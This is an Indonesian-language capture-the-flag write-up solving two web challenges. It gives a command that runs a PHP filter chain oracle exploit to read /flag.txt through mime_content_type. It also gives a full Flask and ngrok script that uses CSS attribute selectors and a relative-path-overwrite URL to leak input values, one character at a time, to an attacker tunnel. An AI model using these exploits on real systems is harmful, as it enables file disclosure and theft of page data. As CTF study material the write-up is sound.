Pada challenge ini kita perlu untuk melakukan exploitasi pada salah satu fungsi berikut yaitu:
filesize
mime_content_type
realpath
Perlu diketahui bahwa beberapa fungsi yang berkaitan dengan meread file di php support dengan php filter, yang dimana ini membuat fungsi tersebut vulerable dengan serangan php filter chain.
Disini saya menggunakan exploit dari https://github.com/synacktiv/php_filter_chains_oracle_exploit untuk melakukan Time Based Out Of Bound (OOB) exploit pada fungsi mime_content_type. Berikut script yang saya gunakan untuk melakukan exfitrasi pada data flag:
python3 php_filter_chains_oracle_exploit/filters_chain_oracle_exploit.py --target http://103.152.242.68:200
11/ --file '/flag.txt' --parameter input --data '{"action":"mime_content_type"}' --verb "POST" --time_based_a
ttack true
Pada challenge ini kita mengesploitasi 2 vulnerability yaitu XSLeak menggunakan CSS, dan juga Relative Path Overide.
Relative Path Overide yang kita gunakan dapat terefleksi pada error berikut:
app.all('*', (req, res) => {
return res.status(200).send(`${req.path} Path not found`);
});
dan juga karena dalam index.html style.css menggunakan relative path, kite dapat melakukan overide pada style.css, sehingga input kita yang tereflected tadi mengganti style css yang ada
<style>
@import 'style.css';
</style>
Berikut solve script yang saya gunakan untuk melakukan XSLeak pada flag:
# http://103.152.242.68:20012/**/@import/**/url(http://{IP}/leak.css)/*/..%2f..%2f..%2f..%2f..%2f..%2f..%2findex.html
import os
import string
from time import sleep
from flask import Flask, request
from pyngrok import ngrok
from flask_cors import CORS
PORT = 4444
app = Flask(__name__)
CORS(app, origins="http://server:8080")
TUNNEL = ngrok.connect(4444, "http").public_url
LOCAL_URL2 = "http://172.22.0.1:4444/"
flag = ""
def oracle(chars):
return 'input[value^="%s"]{background-image:url("%s")}' % (chars, TUNNEL+"/leaked?l="+chars)
def valueleak(known):
result = ""
for i in string.ascii_letters+string.digits+"_{}":
result += oracle(known+i)
return result
@app.get("/leaked")
def leak():
global flag
leaked = request.args.get("l")
flag = leaked
return "ok"
@app.get("/css/<int:i>")
def css(i: int):
global flag
while len(flag) != i:
sleep(1)
return valueleak(known=flag), 200, {"Content-Type": "text/css"}
def get_path_depth(path):
# Use os.path.normpath to handle different path separators
normalized_path = os.path.normpath(path)
# Split the path into its components
path_components = normalized_path.split(os.sep)
# Remove empty components (e.g., double slashes)
path_components = [component for component in path_components if component]
# Return the number of components as the depth
return len(path_components)
def genpayload(lenght):
result = "http://server:8080/**/"
for i in range(lenght):
if i < len(flag):
continue
result += '@import/**/url(%s);' % (LOCAL_URL2+"css/"+str(i))
result += "/*/"
path = get_path_depth(result)-2
result += f'{"..%2f"*path}index.html'
return result
if __name__ == "__main__":
print(genpayload(30))
app.run("0.0.0.0", 4444)